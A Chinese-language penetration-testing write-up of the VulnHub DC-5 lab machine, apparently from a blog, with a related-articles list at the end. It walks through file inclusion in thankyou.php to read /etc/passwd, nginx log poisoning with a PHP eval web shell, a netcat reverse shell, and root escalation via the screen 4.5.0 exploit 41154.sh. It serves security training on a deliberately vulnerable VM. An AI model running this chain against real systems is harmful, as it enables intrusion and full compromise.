VulnHub靶机 DC-5 打靶 渗透测试详情过程

VulnHub靶机 DC-5 打靶 详细渗透测试过程

目录

一、将靶机导入到虚拟机当中

靶机地址:

shell 复制代码
https://download.vulnhub.com/dc/DC-5.zip

二、渗透流程

主机发现

使用arp-scan命令或者nmap命令进行主机发现

shell 复制代码
arp-scan -l

端口扫描

shell 复制代码
nmap -p- 192.168.43.192

得到开放了80,111,以及41237端口

扫描端口服务详细信息:

shell 复制代码
nmap -p80,111,41237 -sV -A 192.168.43.192

访问80端口的web服务:

目录爆破

shell 复制代码
dirsearch -u http://192.168.43.192 -i 200

暴露出如下几个目录,去访问发现其中的目录,爆出的目录其中有一些界面为默认界面当中点击跳转的目录

在访问/footer.php,/thankyou.php时发现跳转界面和原始界面的年份不一样,总是来回变动,刷新也会变动

在contact.php交互界面:

跳转页同样也发生变化:

文件包含

说明这几个目录都包含了/footer.php文件,再次尝试爆破目录

在/thankyou.php基础上爆破

shell 复制代码
dirsearch -u http://192.168.43.192/thankyou.php -e* -i 200

访问:

目录爆破发现,存在file参数,尝试读取一下/etc/passwd文件,成功读取/etc/passwd文件并回显成功

当然既然知道了包含/footer.php文件,那么我们也可以去猜解参数,常用的如file,尝试一下即可,或者爆破

shell 复制代码
wfuzz -w  /usr/share/wfuzz/wordlist/general/common.txt http://192.168.43.192/thankyou.php?FUZZ=/etc/passwd
shell 复制代码
http://192.168.43.192/thankyou.php?file=/etc/passwd

getshell

信息收集发现web服务器为nginx,尝试包含以下日志,查看以下

shell 复制代码
//日志路径:
/var/log/nginx/access.log

日志信息显示出来了,其中包括url和UA头信息,我们可将一句话木马写进UA头或者url的file参数后面当中,进行getshell

测试是否可解析php语句

成功解析,写入一句话木马

shell 复制代码
<?php @eval($_POST['cmd']);?>

蚁剑连接,getshell

反弹shell

在蚁剑的虚拟终端执行,bash反弹没有成功,使用nc命令反弹shell

kali端开启监听

shel 复制代码
nc -lvvp 8888

成功接收到shell

获取稳定shell

shell 复制代码
python -c "import pty;pty.spawn('/bin/bash')"

提权

shell 复制代码
//查找suid权限的命令
find / -perm -u=s -type f 2>/dev/null

发现存在一个screen的命令并且版本为4.5.0,搜索一下相关漏洞

进行漏洞检索,然后进行漏洞利用

目标存在wget命令,可进行文件下载,那么kail使用python开启一个http服务,使用wget下载下来

shell 复制代码
python3 -m http.server 8080

可将两个文件都下载下来,进行查看

给予sh文件执行权限,直接执行一下试试,成功提权

shell 复制代码
chmod u+x 41154.sh
./41154.sh

文章不妥之处,欢迎批评指正!

相关推荐
痴人说梦梦中人37 分钟前
SwaggerFuzzer:一款自动化 OpenAPI/Swagger 接口未授权访问测试工具
网络安全·渗透测试·自动化·api测试·漏洞利用·信息搜集
lubiii_2 小时前
SQL手工测试(MySQL数据库)
数据库·mysql·web安全·网络安全
恰薯条的屑海鸥3 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第十四期-XXE模块)
网络·学习·安全·web安全·渗透测试
网安INF6 小时前
ElGamal加密算法:离散对数难题的安全基石
java·网络安全·密码学
DevSecOps选型指南12 小时前
2025软件供应链安全最佳实践︱证券DevSecOps下供应链与开源治理实践
网络·安全·web安全·开源·代码审计·软件供应链安全
恰薯条的屑海鸥12 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第十六期-SSRF模块)
数据库·学习·安全·web安全·渗透测试·网络安全学习
网安INF15 小时前
CVE-2020-17519源码分析与漏洞复现(Flink 任意文件读取)
java·web安全·网络安全·flink·漏洞
lubiii_15 小时前
墨者学院-密码学实训隐写术第二题
web安全·网络安全·密码学
李枫月17 小时前
Server2003 B-1 Windows操作系统渗透
网络安全·环境解析·server2003
上海云盾第一敬业销售20 小时前
高防IP可以防护什么攻击类型?企业网络安全的第一道防线
网络·tcp/ip·web安全